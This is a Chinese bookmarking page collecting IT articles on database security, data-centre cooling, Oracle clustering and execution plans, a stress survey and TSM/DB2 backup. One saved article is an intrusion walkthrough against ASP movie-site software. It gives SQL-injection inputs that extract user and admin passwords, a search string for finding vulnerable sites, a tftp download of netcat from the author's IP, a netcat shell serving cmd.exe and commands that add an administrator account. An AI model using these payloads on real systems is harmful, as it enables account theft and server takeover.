“很幸运的是,我们公司主要的OE、工资系统、SAP和VIRSA工具运行良好。IT部门有一套手续来处理新员工和终端访问权限问题。DBA小组为密码截止时间和复杂度开发了自动计算过程。没有人能够直接连接数据库和数据访问工具。在涉及财务往来的系统我们安排了专门负责安全的角色,另外有LDAP集成,各种应用程序安全进行组合。”
他推荐的建议如下:
• 在购买之前挑选一个好的产品,满足SOX认证
• 确保他们提供强大的数据管理工具
• 确保产品有很高的安全级别和审查功能
• 授权前确保你执行的是一个安全,大家都认可的手续。
• 确定企业主才是安全角色,授权需要有企业主的签名
• 不要将Oracle DBMS安全作为唯一的防线
如何确保你的系统安全
一些公司将会安排一个小组来负责安全问题,如果贵公司没有这么做的话,那得你就得好好思量以下几件事情。
创建帐号和密码的问题前面已经提到过了。下一步就是讨论用户如何访问系统。确保身份验证有安全协议完成。另外,还要考虑对数据流加密。
另外你可以使用的技术还有应用程序安全网关和数据库防火墙。这些措施能够很好的监视你的应用程序,追踪用户的访问记录。实现此功能的方法之一就是通过深度包检测(Deep Packet Inspection),这些深度包在网络和数据库服务器之间传递,找出什么类型的访问在企图登录,以及判断出是那个用户在企图登录。应用程序网关还能提供其它的功能,如病毒扫描、异常行为检测、检查多级攻击。不幸的是,如果你对直接进入数据库的通信量采用使用某种加密方式的话,使用深度包检测(Deep Packet Inspection)防火墙将会被阻止访问包的内部,因而不能进行分析了。
如果你使用iSCSI协议,即将你的虚拟硬盘放在Ethernet上,就有另外的方法来偷窥你的数据。你应该想到有人会使用网络“sniffer”或其它为授权的数据访问。如果是这样的话,就应该考虑使用IPSec对你的数据加密。
对我们有所帮助的产品
根据Forrester Research公司研究表明,数据库提供商和ISV将会展出更多的工具来帮助DBA解决访问控制。目前现存的工具是Oracle Database Vault。
Oracle Database Vault 可帮助用户解决现有的极为棘手的安全问题,防止内部的威胁并满足合规性要求。Oracle Database Vault 能防止 DBA 查看应用程序数据,解决了必须保护涉及合作伙伴、员工和顾客的敏感业务信息或隐私数据的客户最为担心的问题。Oracle Database Vault 可防止高权限的应用程序 DBA 访问其他的应用程序、执行其权限之外的任务。Oracle Database Vault 可在不影响应用程序功能的前提下快速而高效地保护现有程序。
今天市场上另外的产品来自IPLocks公司 (http://www.iplocks.com)。根据他们的描述,IPLocks解决方案能评估数据库的脆弱程度,监视数据的使用者、会话、对象、和提供用于审查的日志。IPLocks Database Security和Compliance Solution利用专门的技术减少重要商业数据被盗用的风险。IPLocks能够保证敏感数据的安全,同时还创建还为企业用户创建唯一的信息风险管理解决方案。
Imperva 公司(http://www.imperva.com)有符合应用程序安全网关和数据库防火墙功能的产品。SecureSphere通过评估、监视、审查所有对公司数据库的访问,完成监视保护数据库中敏感信息的任务,它能够追踪和控制特许用户的行为。它通过深度包检测,在数据库级别重新构造整个请求响应机制。SecureSphere在网络上加密了通信量,提供符合新法案的报表。
Guardium公司(http://www.guardium.com))有他们自己的SQL Guard生产线,提供数据库保护,为Sarbanes-Oxley, GLBA, HIPAA, and Basel II提供报告。SQL Guard是通过设备中途截取进入、流出数据库的网络信息流通量,达到监视的目的。它提供许多的工具,供审查员来查看所需要的信息,包括控制修改等。
另外,使用和审查员相同的工具。如你所料,他们也将会检查你,他们通常会有自己的审查工具帮助他们发现可疑行为。使用你很审查员使用一样的工具,能够减少你接受审查的次数,这也有助于他们使用这些现存的工具完成审查任务。
性能问题
如果忽略数据库审查和启动安全这些措施所带来的额外开销,系统性能或许会受到影响。如果系统没有适当的配置,或者缺乏容量,那么像SQL语句级别的审查就会导致严重的性能退化。其中接受我们采访的一位提供商说,如果系统的容量很大的话,启动审查功能应该只会影响系统性能的3%。在前面所提到的例子里,当一个客户端程序每天产生30-50G的日志文件的话,CPU的占有率将会达到10%。有的人反应,当Oracle审查启动后,系统就会增加30%的开销。这也太大了点,导致这种情况的原因要么就是数据库参数设置不当,要么就是CPU、硬盘、内存容量出现瓶颈。
需要记住另外一个影响数据库性能是启动数据库安全。如果仅仅是使用身份验证安全,性能影响应该可以忽略不计。但是,加密每个网络数据包或许会花销一些CPU时间。如果这已经造成了问题,那么应该考虑升级到GB或者更高的网络速度,允许流通更大尺寸的数据包,使用高端的以太网适配器。
另外,对于新技术如iSCSI协议,应该在投入使用前,好好的分析。如果磁盘阵列不是直接通过SCSI电缆连接到数据库服务器,那么使用SAN就非常方便了。但是,以下这些事项就需要考虑了。带宽—你的硬件在现在或者将来有足够的能力安装OLTP或DSS系统吗?在高峰时刻网络负荷量会是什么样的?加密开销—使用IPSec或类似的协议加密数据库服务器之间的网络信息流量会严重影响系统性能,比只加密服务器到客户端信息流量影响大,这是由于所有的额外数据操作发生在服务器端,如事项记录,临时存储等等。
总之底线就是确保你的系统合适的配置,并且有足够的系统资源处理审查和安全所带来的开销。
结论
每个公司都会逐渐受到那些规则的影响,只是一个时间问题。应该提前考虑,开始着手这些问题了。要记住的是作为一个DBA,你有一些合法的权利查看一些数据。首先,明确哪些数据是必须查看的,接着确立哪些数据对你的工作是有助的。你有选择,权衡不同的产品来满足你的需要。这是一个非常热门的领域,我相信会出现很多的工具。所以,你应该像那些接受我们采访的人那样,努力创建属于你自己的一套工具或者需求。做这件事的好处就是避免重复购买和操作,既节约了时间,有节约了成本。另外,在实施任何解决方案前,一定靠考虑系统的性能,进行测试,再测试。
作为一名DBA,你可以实施像Oracle Database Vault这样的工具,有助于你和数据分离,减少你查看数据的风险。另外,这是一个非常专业的领域,不要忘了考虑让请外面的专家参与。这也能节约你的时间和金钱。
关于作者
Alex Polishchuk是Advanced Computer Consulting (www.advcomputerconsulting.com)的创始人和总经理。Alex有15年的设计、开发经验,在不用行业公司实施数据库应用程序,这些公司规模不等,小的只有几人,大的进入财富50强。Alex的涉猎的主要领域就是数据库安全、性能优化、性能协调。以下是他的联系方式alex@advcomputerconsulting.com.
Michael Procopio是HP的高级产品经理。他在计算机系统和网络领域有超过25年的经验。他担任过顾问、产品管理、产品市场、培训和IT管理职位。Michael也是许多IT大会上的发言人,同时还是IEEE会员。以下是Michael的联系方式:michael@mprocopio.com.
http://tech.it168.com/db/2008-04-21/200804210922895.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-2 10:19:35 | 相关网摘,我也收藏
来源:IT168
从虚拟化整合,到绿色节能,再到刀片服务器,以及数据中心的安全,与去年相比,今年所举办过的有关新一代数据中心的活动,似乎并没有太多新的技术内容,缺乏更多的新意。但是厂商并不这样看,其中尤以IBM 全球信息科技服务部数据中心及智能化集成服务亚太区总经理袁东坡和艾默生网络能源中国区副总裁丁麒钢的观点最具有代表性。
袁东坡指出,与国内市场相比,国外在新一代数据中心建设,绿色节能产品部署上进展更加迅速一些,以液冷门系统为例,它可以举出几十个IBM公司的最新案例,在这些案例之中,新建的数据中心与老的数据中心改造所占的比例差不多。这些数据中心之所以采用液冷门系统,是因为以刀片服务器为主的高密度服务器部署的需求,随着这些高密度服务器的部署,对于数据中心机价提出了新的需求。在老的数据中心机房中,采用下送风的致冷方式,可以满足一个机架大约3~6千瓦设备的散热需求;当机架中,设备的功耗达到6~10千瓦之后,通过增加额外的空调设备,可以满足散热需求。但是当功耗超过10千瓦,达到10~20千瓦之后,就只有采用液冷门系统,只有这种方式可以满足设备的散热需求。目前,这种散热设计非常的流行。
但是对于液冷门散热这种方式,国内用户似乎并不积极。强生中国区企业计算经理蒙伟表示,他们不会采用液冷门散热,现有的风冷散热方式已经可以满足需求,在这种情况下,他们不会采用液冷门方式,特别是在产品推广的初期,其价格是比较昂贵的。对此,袁东坡表示,从国外用户的案例情况来看,采用液冷门的散热方式,大概需要增加20%左右的投资,但是这些投资大概可以在两年时间内回收。与风冷散热方式相比,液冷门散热更加具有效率,它不会因为热风的回流导致散热效率的降低,因此更加节能。
袁东坡指出,电能的节省只是一方面,液冷门系统更大的特点是可以提高数据中心机房部署的密度,传统风冷因为存在上面所说的热风回流的问题,机架之间的间隔比较大,而液冷门系统不存这样的问题。如今,数据中心机房大多会部署在商业繁华地区,也是房地产寸土寸金的地区,部署密度提高可以给用户带来巨大的资金节省。用户甚至不需要购买新的数据中心机房。目前很多用户都在积极依照绿色网格联盟(The Green Grid)衡量标准,来构建新一代数据中心的节能标准,如今最好的数据中心,其PUE(电力使用效率)已经达到了1.6,各国政府对于达到绿色节能标准的建筑均给政策的补贴。因此,液冷门系统得到了国外用户的推崇。
为了帮助用户了解掌握数据中心的能耗情况,寻找绿色节能的途径和方案,IBM为用户提供了一套完整的评估咨询服务,大约需要5天的时间,惠普也提供了类似的解决方案和服务。用户也可以这两个公司的网站,进行一个简单的自我评估,做到心中有数。
但是液冷门系统并不是唯一方式。丁麒钢指出,在空调致冷方式中,本就有风冷、水冷以及乙二醇为致冷液的方式之分,现在所说的液冷门系统,其核心就是在机架上附加一个液冷门,但是机架上是否可以挂这样一个门会受很多限制,例如承重,有些机架承载刀片服务器已经勉为其难,无法承载更多的重量。丁麒钢指出,构建新一代数据中心机房环境,需要根据用户的实际需求,为此,艾默生向用户推荐了从芯片级散热,到机架散热,再到数据中心机房散热的一系列方案,其目的就是为了用户提供更多的选择。
丁麒钢表示,在一些行业的机房构建条例中,明文规定了水冷不能够进机房,这会对液冷门散热方式的推广带来问题,对此,政策上的松动会需要一些时间
http://tech.it168.com/i/2008-05-04/200805041444092.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-2 10:10:36 | 相关网摘,我也收藏
来源:作者:IT168 blog
Oracle FailSafe与rac的联系与区别:
Oracle failsafe和RAC均为ORACLE公司提供的高可靠性(HA)解决方案。然而之两者之间却存在着很大区别:
1.操作系统:
failsafe系统局限于WINDOWS平台,必须配合MSCS(microsoft cluster server),而RAC最早是在UNIX平台推出的,目前已扩展至LINUX和WINDOWS平台,通过OSD(operating system dependent)与系统交互。对于高端的RAC应用,UNIX依然是首选的平台。
2.系统结构:
FAILSAFE采用的是SHARE NOTHING结构,即采用若干台服务器组成集群,共同连接到一个共享磁盘系统,在同一时刻,只有一台服务器能够访问共享磁盘,能够对外提供服务。只要当此服务器失效时,才有另一台接管共享磁盘。RAC则是采用SHARE EVERYTHING,组成集群的每一台服务器都可以访问共享磁盘,都能对外提供服务。也就是说FAILSAFE只能利用一台服务器资源,RAC可以并行利用多台服务器资源。
3.运行机理:
组成FAILSAFE集群的每台SERVER有独立的IP,整个集群又有一个IP,另外还为FAILSAFE GROUP分配一个单独的IP(后两个IP为虚拟IP,对于客户来说,只需知道集群IP,就可以透明访问数据库)。工作期间,只有一台服务器(preferred or owner or manager)对外提供服务,其余服务器(operator)成待命状,当前者失效时,另一服务器就会接管前者,包括FAILSAFE GROUP IP与CLUSTER IP,同时FAILSAFE会启动上面的DATABASE SERVICE,LISTENER和其他服务。客户只要重新连接即可,不需要做任何改动。对于RAC组成的集群,每台服务器都分别有自已的IP,INSTANCE等,可以单独对外提供服务,只不过它们都是操作位于共享磁盘上的同一个数据库。当某台服务器失效后,用户只要修改网络配置,如(TNSNAMES。ORA),即可重新连接到仍在正常运行的服务器上。但和TAF结合使用时,甚至网络也可配置成透明的。
4.集群容量:
前者通常为两台,后者在一些平台上能扩展至8台。
5.分区:
FAILSAFE数据库所在的磁盘必须是NTFS格式的,RAC则相对灵活,通常要求是RAW,然而若干OS已操作出了CLUSTER文件系统可以供RAC直接使用。
综上所述,FAILSAFE比较适合一个可靠性要求很高,应用相对较小,对高性能要求相对不高的系统,而RAC则更适合可靠性、扩展性、性能要求都相对较高的较大型的应用。
http://publish.itpub.net/db/2008-06-24/200806241004397.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-2 10:09:00 | 相关网摘,我也收藏
来源:perry_shi的个人空间
在ORACLE数据库中,需要对SQL语句进行优化的话需要知道其执行计划,从而针对性的进行调整.ORACLE的执行计划的获得有几种方法,下面就来总结下
1、EXPLAIN的使用
Oracle RDBMS执行每一条SQL语句,都必须经过Oracle优化器的评估。所以,了解优化器是如何选择(搜索)路径以及索引是如何被使用的,对优化SQL语句有很大的帮助。Explain可以用来迅速方便地查出对于给定SQL语句中的查询数据是如何得到的即搜索路径(我们通常称为Access Path)。从而使我们选择最优的查询方式达到最大的优化效果。
1.1 、安装
要使用EXPLAIN首先要执行相应的脚本,创建出Explain_plan表。
具体脚本执行如下:
$ORACLE_HOME/rdbms/admin/utlxplan.sql (UNIX) 该脚本后会生成一个表这个程序会创建一个名为plan_table的表。
1.2 、使用
常规使用语法:
explain PLAN [ SET STATEMENT_ID [=] < string literal > ] [ INTO < table_name > ]
FOR < sql_statement >
其中:
STATEMENT_ID:是一个唯一的字符串,把当前执行计划与存储在同一PLAN中的其它执行计划区别开来。
TABLE_NAME:是plan表名,它结构如前所示,你可以任意设定这个名称。
SQL_STATEMENT:是真正的SQL语句。
比如:
SQL>explain plan set statement_id='T_TEST' for select * from t_test;
SQL>
Explained
执行下面语句可以查询到执行计划
SQL>SELECT A.OPERATION,OPTIONS,OBJECT_NAME,OBJECT_TYPE,ID,PARENT_ID
2 FROM PLAN_TABLE a
3 WHERE STATEMENT_ID='T_TEST'
4 ORDER BY Id;
也可以用这句话 select * from table(dbms_xplan.display); 可以把所有PLAN_TABLE里的数据罗列出来。
2 、AUTOTRACE的使用方法
2.1、安装
用sys用户运行脚本ultxplan.sql
建立这个表的脚本是:(UNIX:$ORACLE_HOME/rdbms/admin, Windows:%ORACLE_HOME%\rdbms\admin)ultxplan.sql。
SQL> connect sys/sys@colm2 as sysdba;
SQL> @C:\oracle\ora92\rdbms\admin\utlxplan.sql;
SQL> create public synonym plan_table for plan_table;--建立同义词
SQL> grant all on plan_table to public;--授权所有用户
要在数据库中建立一个角色plustrace,用sys用户运行脚本plustrce.sql来创建这个角色,这个脚本在目录(UNIX:$ORACLE_HOME/sqlplus/admin, Windows:%ORACLE_HOME%\sqlplus\admin)中;
SQL> @C:\oracle\ora92\sqlplus\admin\plustrce.sql;
然后将角色plustrace授予需要autotrace的用户;
SQL>grant plustrace to public;
经过以上步骤的设置,就可以在sql*plus中使用autotrace了
2、2 使用
使用起来非常方便,只要使用一条命令就可以了
SQL>SET AUTOTRACE ON;
*autotrace功能只能在SQL*PLUS里使用
其他一些使用方法:
2.2.1、在SQLPLUS中得到语句总的执行时间
SQL> set timing on;
2.2.2、只显示执行计划--(会同时执行语句得到结果)
SQL>set autotrace on explain
比如:
sql> select count(*) from test;
count(*)
-------------
4
Execution plan
----------------------------
0 select statement ptimitzer=choose (cost=3 card=1)
1 0 sort(aggregate)
2 1 partition range(all)
3 2 table access (full) of 't_test' (cost=3 card=900)
2.2.3、只显示统计信息---(会同时执行语句得到结果)
SQL>set autotrace on statistics;
(备注:对于SYS用户,统计信息将会是0)
2.2.4、显示执行计划,屏蔽执行结果--(但语句实质还执行的
SQL> set autotrace on traceonly;
(备注:同SET AUTOTRACE ON; 只不过不显示结果,显示计划和统计)
2.2.5、仅仅显示执行计划,屏蔽其他一切结果--(语句还是执行了)
SQL>set autotrace on traceonly explain;
对于仅仅查看大表的Explain Plan非常管用。
2.2.6、关闭
SQL>set autotrace off;
总结:SQLPLUS 下的自动显示功能,在看执行计划中其语句还是会被执行的。尤其在执行UPDATE/DELETE语句时请千万注意,ORACLE是先执行脚本同时显示执行计划的,即使使用set autotrace on traceonly explain;
这个时候推荐使用EXPLAIN PLAN FOR来看或者PL/SQL等第三方工具
3、第三工具来看执行计划
如果在PL/SQL中使用选择要查询语句显示执行计划,则只需要SQL WINDOWS 窗口里面输入要查询的SQL语句,然后选择按键F5或者在菜单TOOLS�D�D>Explain Plan 菜单按键就可以在执行计划窗口查看该语句的执行计划。
在TOAD语句中在执行当前的SQL窗口中选择下方的Explain PlanTAB页即可以查看要执行语句的执行计划信息。
4、限制
explain真正的唯一的限制是用户不能去解释其它用户的表,视图,索引或其它类型,用户必须是所有被解释事物的所有者,如果不是所有者而只有select权限,explain会返回一个错误。
http://space.itpub.net/127656/viewspace-364817
xuejinyoulan收录,使用标签:数据库,时间:2008-7-2 10:02:52 | 相关网摘,我也收藏
你是不是经常能够看到双眉紧锁或木讷茫然的表情围绕在你身边?你是不是经常能够听到因为琐事而发生的无谓争执?你是不是经常感到头晕脑胀、透不过气?其实上述种种现象的根源都是压力。日前,前程无忧网站的一个网上调查显示,受访者中约有62%正在遭受着很大压力的困扰,而且这些困扰已经在不同程度地影响着个人的情绪、工作以及生活。
本次调查中,25.94%的受访者将压力的主要来源归结于“激烈竞争”,仅以0.25%的差距位居压力来源第二位的是“入不敷出”。“人际关系”以19.2%的比例成为压力的第三大来源。“工作繁重”、“情感问题”、“家庭矛盾”分别占14.46%、10.64%和4.07%。
从年龄段来看,在25—35岁之间的职业人是承受压力最大的人群。他们中的一部分是毕业不久的年轻人,也是工作岗位上的新手,除了工作上的问题,他们还面临着要成家、购房等问题,已经成家购房的就面临着承担抚养和管教子女的重任等。对他们来说,所面对的这些都是新问题,应对能力不足也会让他们产生很大压力。调查显示,女性承受的压力比男性更大。如今,女性为谋求自身发展,也面临很多工作上的问题。婚后,她们也要面对家庭和孩子的问题。由于传统上女性对家庭和子女往往要付出更多,工作和自身发展的追求会使她们在一定时段内,在协调好家庭与工作两者之间的关系问题上形成很大的压力。从行业上来看,IT业首当其冲成为压力最大的行业之一,建筑、广告传媒、医疗行业的医生、护士和公关等行业也非常容易形成压力。
从宣泄途径上看,男女的差别更加明显,四分之一的女性首选“对家人、朋友倾诉”,而选择此方式的男性只有15%。近半的男性选择用“娱乐方式(泡吧、K歌、旅游、美食等)”宣泄压力。另外,女性选择较多的宣泄方式还有“大哭一场”、“娱乐”、“博客日志”、“花钱购物”等;男性选择较多的是“运动”和“找碴发脾气”。
专家提醒,通过某种肢体放松或者精神放松的方式宣泄压力都无可厚非,但是不要将压力转嫁到别人身上,通过对他们实施“暴力对待”来减轻自己的压力,这种“暴力对待”主要指表情暴力、言语暴力和肢体暴力。
1
http://publish.itpub.net/m/2008-07-02/200807020921803.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-2 9:46:02 | 相关网摘,我也收藏
来源:赛迪网
周末无聊,同学想让我帮他下载一些电影看,我爽快的答应了。看了这么多期X档案,水平自然长进不少。这次想免费下载些电影,没问题(我知道N多电影程序有漏洞)。闲话少说,切入正题。
我打开Google,随便搜索了一下电影网站,点开了一个。看了一下界面,知道和电影系统关联很大。系统和"洞"网(7.0安全多啦,自己想的)差不多,也是有N多漏洞,比如注入啊,COOKIE欺骗什么的。我就在X档案03年11期看过一篇文章,写的是用ASC和MID函数对系统管理员帐户进行猜测。我也想用这种方法猜测,猜了半天都没猜对,真烦人,同学还在那边等我哪,这不是很丢人。我决定找个简单的办法,还是读读源码吧!
下载了一个电影系统,看了一下,这么多个文件,头马上大了。还是在自己电脑上运行一下吧。注册了一个用户,点了一下找回密码,别人说这里有漏洞。看了一下,象是有漏洞的界面,有三个参数,还直接把密码显示出来。好,看一下源码。
39 <% if request("myuserid")="" then %>
...
58 <%else
set rs=server.createobject("adodb.recordset"
sql="select password from users where
userid='"&request("myuserid")&"'and city='"&
request("ask")&"'and adress='"&request("answer")&"'"
rs.open sql,conn,1,1if rs.eof and rs.bof then%>
这里果然没过滤。好多人都想到了可以用上面的方法注入了。能不能有更简单的方法呢?
我仔细考虑语句的形式如下:
select password from users where userid=‘‘ and city=‘‘ and adress='‘
如果用户名,密码提示问题(city),密码提示答案(adress)和表users一行匹配,便打印这行的password,而且是明文的。我想的过程就不写了,后来我想到了一种方法,就是利用union查询。Access功能是很弱的,不能执行命令,不能导出文本,还不能注释。有个子查询可以利用之外,也就剩下这个 union了。
怎么利用呢?先在本机做实验。测试过程简略,直接写有所收获的结果。要是知道了一个该网站的一个用户名(比如abc),可以这样利用。在"你注册问题"处填: abc' or ‘1=1(如果用户名是bcd,就变为bcd' or ‘1=1)密码提示问题处随便填几个字母或数字,最好别有符号,容易影响结果: 比如字母a密码提示答案处随便填几个字母或数字,填个a回车后就看到该用户的密码了,简单吧(如图一)。其实这样一来,上面的语句就变为:
select password from users
where userid=‘abc' or ‘1=1‘ and city=‘a‘ and adress='a‘
呵呵,程序无条件的执行了,因为被 or ‘1=1'跳过后面的验证了。可是网站用户名也不是轻易得到的啊。别急,得到用户名一样简单。如下:在"你注册问题"处随便处填几个字母或数字,最好别有符号,容易影响结果: 比如字母a密码提示问题处和上面一样,随便填:我也填个a关键是在密码提示答案:我填的是a' union select userid from users where oklook>=3 or '0上面就是要找黄金用户的帐户名,看到用户名后再用前面的方法找到密码。可以在where后面加很多参数并赋不同的值可以得到很多帐户。按上面的填入后输入语句就变成了:
select password from users
where userid=‘a‘ and city=‘a‘ and
adress=' a' union select userid from users where oklook>=3 or '0 ‘
细心的读者看到这可能已经想到怎样得到管理员的帐号和密码,不错,也很简单。我也不写过程了,直接写出语句如下:
得到帐号:
select password from users
where userid=‘a‘ and city=‘a‘ and adress=' a'
union select name from okwiantgo where id>=1 or '0 ‘
得到密码:
select password from users
where userid=‘a‘ and city=‘a‘ and adress=' a'
union select pwd from okwiantgo where id>=1 or '0 ‘
然后登陆就行了,路径格式为:
http://网站电影路径/findaccout.asp?name=管理员帐号&pwd=管理员密码
回车,很轻松就进管理界面了。有时findaccount.asp可能被改名了,这时只能拿个黄金帐户了。
这个漏洞有很多电影程序有,有的程序表名不是okwiantgo(程序会报告64行属性不对),改成admin或password.,把上面的输入稍微修改一下行了。这样一来不管是多复杂的密码,或者是中文密码都没问题。再猜管理员帐户的时候也要多,where后面的条件多变化才行,否则可能得不到超级管理员。
这个漏洞使用很简单,危害极大,轻易可以得到管理员帐户。如果系统配置不当,在upload/uploadmovie.asp允许上传ASP文件,系统就很容易换主人了。我曾经成功渗透过这样一个网站,简单过程叙述如下。
上传一个ASP程序,发现该系统运行SQLSERVER,通过读源文件看到了sa的密码,用sqlexec连接,tftp上传nc.exe。再次dir发现nc被删了,有防火强。用tftp上传nc.jpg肯定万无一失, tftp -i 我的IP get nc.exe nc.jpg,上传成功。在sqlexec运行
nc.jpg -l -p 99 -e c\winnt\system32\cmd.exe
nc想必都很熟悉了吧,上面就是再目标机器上开一个99端口监听,同时把cmd.exe重定向到这里,本地连接nc.exe -vv 目标IP 99,得到shell,而且是管理员权限。输入 net user abc 123456 /add && net localgroup administrators abc /add添加用户成功顺便加入管理员,&&意思是前面成功后面执行。该系统开着3389,省了我好多事情。好了回到正题,这个漏洞存在80%以上电影程序中,在google里搜索user/wantpws.asp,打开后发现可以输入三个参数,且把密码直接显示的都有此漏洞。修补方法,应该对三个参数进行严格验证,而且把结果发送的到邮箱里更稳妥,有的网站是这样做的。
总结:
我写此问的目的是想说好多问题要多想多试,一个漏洞利用方法不只一种,我们要自己学会发现。入侵过程灵活多样,我们应动脑筋。大家免费看电影的同时可别搞破坏啊,任何后果与我无关。同时我也希望看到这篇文章后,网站尽快更改。
http://tech.ccidnet.com/art/1106/20061127/960625_1.html
xuejinyoulan收录,使用标签:数据库,时间:2008-7-2 9:42:09 | 相关网摘,我也收藏
来源:赛迪网
本文适用于 DB2、TSM管理员以及任何想了解使用TSM来存储保护DB2数据库的读者。
Tivoli Storage Manager 是一个企业级的存储管理软件。他提供了对文件系统、应用程序等的存储备份和恢复功能。本文主要介绍了 TSM 是如何对 DB2 数据库应用程序实现存储备份的。并重点介绍了 TSM 和DB2 在 WINDOWS 平台下的安装、配置、备份和还原。
TSM (Tivoli storage management) 提供了强大的存储备份功能,可以与 DB2 V9 版本进行无缝的集成,从而实现 DB2 数据库的备份。本文主要介绍如何安装、配置这两大产品,并以 WINDOWS 平台的集成为例,对其步骤作一个简要说明。
简介
TSM(Tivoli storage management) 是一个全面、智能的存储管理解决方案,专门被设计用来满足您不断增长的企业存储需求,使全面的存储管理功能自动化。通过 Tivoli TSM 灵活的策略管理功能,您可以定制数据备份和存档,规定哪些数据需要备份或存档、存储在哪里以及保存多长时间。强大的 Tivoli TSM 调度特性消除了人工备份和跟踪的需求,促进了存储操作向非高峰时间的调度,从而优化了网络资源和性能。
TSM 提供了强大的存储备份功能。可以与 DB2 V9 版本进行无缝的集成,从而实现通过 TSM 备份 DB2 的数据库。本文主要介绍如何安装、配置这两大产品,并以 WINDOWS 平台的集成为例,对其步骤作一个简要说明。
安装
1.1 操作系统:
Windows 2003 enterprise server edition
1.2 软件:
在此系统上安装的软件及其版本分别为:
TSM V5.5.0 for windows
安装 TSM 5.5 backup archive client for window
安装 TSM 5.5 license for windows
安装 TSM 5.5 server for windows: 这是可选的,TSM server 可以安装在其他的机器上
DB2 V9.1.3 for windows
对TSM server 进行配置
安装好软件后,需要分别对 TSM server 进行配置。
使用 TSM 对 DB2 进行备份,必须对 DB2 备份数据的保存策略以及保存位置进行定义。因此,需要在 TSM server 上,对以下几项进行配置和定义。
定义设备类 (device class)
需要根据备份数据库的大小和备份、还原频率来选择某一种类型的设备类来存储 DB2 的备份数据库。TSM server 使用 define devclass 来完成此功能。
这里使用 FILE 类型的设备类来模拟磁带存储 DB2 备份数据。具体的命令如下:
Define devclass filedevclass devtype=file directory=d:\tsmfiledata\db2backup
如果运行成功,则返回如下结果:
ANR2203I Device class FILEDEVCLASS defined.
该命令定义了一个新的设备类:filedevclass,它的目录指向 d:\tsmfiledata\db2backup。
定义存储池 (storage pool) 和存储卷 (volume)
存储池是一个逻辑概念,它表示了备份 / 归档数据的实际存储设备,每一个存储池都对应了一个特定的设备类。TSM server 使用 define stgpool 来完成此功能。
下面定义一个存储池用来表示 DB2 备份数据的实际存储位置。具体的命令如下:
Define stgpool db2filepool filedevclass maxscratch=100
如果运行成功,则返回如下结果:
ANR2200I Storage pool DB2FILEPOOL defined(device class FILEDEVCLASS)
他定义了一个新的存储池 db2filepool,并关联了之前定义的设备类 filedevclass.
对于存储池,如果 maxscratch>0, 则表示可以使用 scratch 类型的存储卷,不需要特别定义。当然也可以使用自己定义的存储卷,使用的命令是 define volume。具体示例如下:
Define volume db2filepool d:\tsmfiledata\db2backup\volm1 format=100
如果运行成功,则返回如下结果:
ANR2491I Volume Creation Process starting for D:\TSMFILEDATA\DB2BACKUP\VOLM1
上述命令在 db2filepool 中定义了一个大小为 100M 的存储卷 , 位置是:D:\tsmfiledata\db2backup\volm1。
定义节点
为了让 DB2 通过 TSM client API 备份数据,必须在 TSM server 上为其注册一个节点,设置它的节点名及密码。相关的命令为 register node。具体示例如下:
register node db2 password
在这里,db2 为新注册的节点,默认注册到 STANDARD 的策略域上。
定义策略
在 TSM server 中,需要为 DB2 使用的节点定义其存储策略。
定义策略域 (policy domain):
TSM server 使用 define domain 命令来定义策略域,具体示例如下:
Define domain db2domain description=”policy domain for db2 backup”
如果运行成功,则返回如下结果:
ANR1500I Policy domain DB2DOMAIN defined
该命令定义了一个名为 db2domain 的策略域。
定义策略集 (policy set):
TSM server 使用 define policyset 命令来定义策略域,具体示例如下:
Define policyset db2domain db2policyset description=”policy set for db2”
如果运行成功,则返回如下结果:
ANR1510I Policy set DB2POLICYSET defined in policy domain DB2DOMAIN
该命令定义了一个名为 db2policyset 的策略集,它是属于 db2domain 这个策略域中的。
定义管理类 (management class):
TSM server 使用 define mgmtclass 命令来定义策略域,具体示例如下:
Define mgmtclass db2domain db2policyset db2mgmtclass
description=”management class for db2”
如果运行成功,则返回如下结果:
ANR1510I Management class DB2MGMTCLASS defined in
policy domain DB2DOMAIN, set DB2POLICYSET.
上述命令定义了管理类 db2mgmtclass, 它属于策略集 db2policyset, 策略域 db2domain。
把定义的管理类作为该策略集中的默认管理类。
TSM server 使用 assign defmgmtclass 命令把设置某个策略集中的默认管理类。具体示例如下:
Assign defmgmtclass db2domain db2policyset db2mgmtclass
如果运行成功,则返回如下结果:
ANR1538I Default management class set to DB2MGMTCLASS
for policy domain DB2DOMAIN, set DB2POLICYSET.
该命令把之前定义的管理类 db2mgmtclass 设置成策略集 db2policyset 的默认管理类。
定义拷贝组 (copy group)
分别为备份数据和归档数据定义 copy group
定义拷贝组的命令是 define copygroup,根据参数 type 的设置,可以分别定义 backup copy group 和 archive copy group。具体的命令如下:
定义备份拷贝组:
Define copygroup db2domain db2policyset db2mgmtclass dest=db2filepool
如果运行成功,则返回如下结果:
ANR1530I Backup copy group STANDARD defined in policy domain DB2DOMAIN,
set DB2POLICYSET, management class DB2MGMTCLASS.
定义归档拷贝组:
Define copygroup db2domain db2policyset db2mgmtclass
type=archive dest=db2archivepool
如果运行成功,则返回如下结果:
ANR1535I Archive copy group STANDARD defined in policyset
domain DB2DOMAIN,set DB2POILCYSET, management class DB2MGMTCLASS.
这两个命令在 db2mgmtclass 中分别定义了 backup copy group 和 archive copy group, 并指明 backup 和 archive 的数据分别存储在 db2filepool 和 db2archivepool 两个存储池中。其中 db2archivepool 存储池的定义与 db2filepool 的定义是类似的,这里就不再介绍。
验证并激活策略集
TSM server 使用 validate policyset 以及 active policyset 命令来验证并激活策略集。只有激活以后的策略集,才会在后面的备份中使用到。具体的命令示例如下:
验证策略集:
Validate policyset db2domain db2policyset
如果运行成功,则返回如下结果:
ANR1515I Policy set DB2POLICYSET validated in domain DB2DOMAIN(ready for activation)
激活策略集:
Activate policyset db2domain db2policyset
该命令会询问客户是否确认执行,确认后,如果运行成功,则返回如下结果:
ANR1514I Policy set DB2POLICYSET activated in policy domain DB2DOMAIN
上述俩命令验证并激活了策略域 db2domain 中的策略集 db2policyset.
更新TSM节点信息
需要更新节点信息,把 TSM 节点指定到为其定义的策略域中。TSM server 使用 update node 来实现该功能。具体命令如下:
Update node db2 domain=db2domain archdelete=yes backdelete=yes
如果运行成功,则返回如下结果:
ANR2063I Node DB2 updated.
该命令把节点 db2 关联到了策略域 db2domain 上,并修改了节点参数 archdelete 和 backdelete 的设置。
